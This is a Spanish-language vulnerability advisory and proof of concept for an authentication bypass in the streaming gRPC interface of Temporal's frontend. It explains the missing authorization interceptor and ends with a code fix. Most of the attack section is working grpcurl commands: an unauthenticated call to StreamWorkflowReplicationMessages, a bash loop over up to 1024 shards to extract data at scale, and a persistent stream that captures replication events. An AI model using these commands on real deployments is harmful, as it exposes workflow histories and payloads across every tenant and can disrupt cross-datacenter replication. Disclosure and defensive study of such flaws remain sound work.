
Prueba de concepto de explotación para CVE-2026-5724, una omisión de autenticación en el servicio gRPC frontend de Temporal que permite acceso no autenticado a los datos de replicación de flujos de trabajo.
El servicio frontend de Temporal no aplica autenticación en las RPC gRPC de streaming. La cadena de interceptores de streaming omite el interceptor de autorización, lo que permite que llamadores no autenticados accedan a AdminService/StreamWorkflowReplicationMessages, un endpoint privilegiado solo para administradores que transmite datos de replicación de workflows en todos los namespaces.
El servidor gRPC del frontend en service/frontend/fx.go configura dos cadenas de interceptores. La cadena de streaming solo incluye telemetryInterceptor.StreamIntercept para métricas y ninguna autenticación:
El tipo authorization.Interceptor solo implementa un método de interceptor unario (Intercept). No existe un equivalente para streaming. La única RPC de streaming del frontend es AdminService/StreamWorkflowReplicationMessages, que según https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 debería requerir {Scope: ScopeCluster, Access: AccessAdmin}. La llamada de streaming llega al handler en admin_handler.go:1904 sin autorización, donde se proxya directamente al endpoint de replicación del servicio de historial interno.
Tome un despliegue de Temporal que exponga la API gRPC del frontend.
Llame a la RPC de streaming de AdminService sin ninguna credencial:
grpcurl -max-time 15 \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
# La transmisión se conecta. El servidor responde con el estado de replicación
# incluyendo exclusiveHighWatermark por shard. Durante la replicación activa, la
# respuesta contiene eventos serializados del historial del workflow:
# {
# "messages": {
# "replicationTasks": [{
# "namespaceId": "...",
# "workflowId": "...",
# "runId": "...",
# "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
# ...
# }],
# "exclusiveHighWatermark": "148293"
# }
# }
Para iterar sobre todos los shards y extraer datos a escala:
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"
CLUSTER_ID="${3:-1}" # initialFailoverVersion: 1=activo, 2=failover
ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"
for SHARD in $(seq 1 "${NUM_SHARDS}"); do
grpcurl -max-time 10 \
-H "temporal-client-cluster-id: ${CLUSTER_ID}" \
-H "temporal-client-shard-id: ${SHARD}" \
-H "temporal-server-cluster-id: ${CLUSTER_ID}" \
-H "temporal-server-shard-id: ${SHARD}" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
"${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done
Para mantener la transmisión abierta de forma persistente y capturar eventos de replicación en tiempo real:
(
while true; do
echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
sleep 5
done
) | grpcurl -d @ \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
Un atacante con acceso al frontend puede leer datos de replicación de workflows en todos los namespaces y tenants — IDs de workflow, IDs de ejecución, eventos de historial, payloads de actividades sin ninguna credencial. El atacante también puede interferir con la replicación entre centros de datos enviando mensajes SyncReplicationState, y obtiene un puente hacia el servicio de historial interno que normalmente nunca se expone externamente.
Implemente un StreamServerInterceptor en authorization.Interceptor y agréguelo a la cadena de streaming en service/frontend/fx.go:292-296:
streamInterceptor := []grpc.StreamServerInterceptor{
telemetryInterceptor.StreamIntercept,
authInterceptor.StreamIntercept, // aplicar autenticación en RPC de streaming
}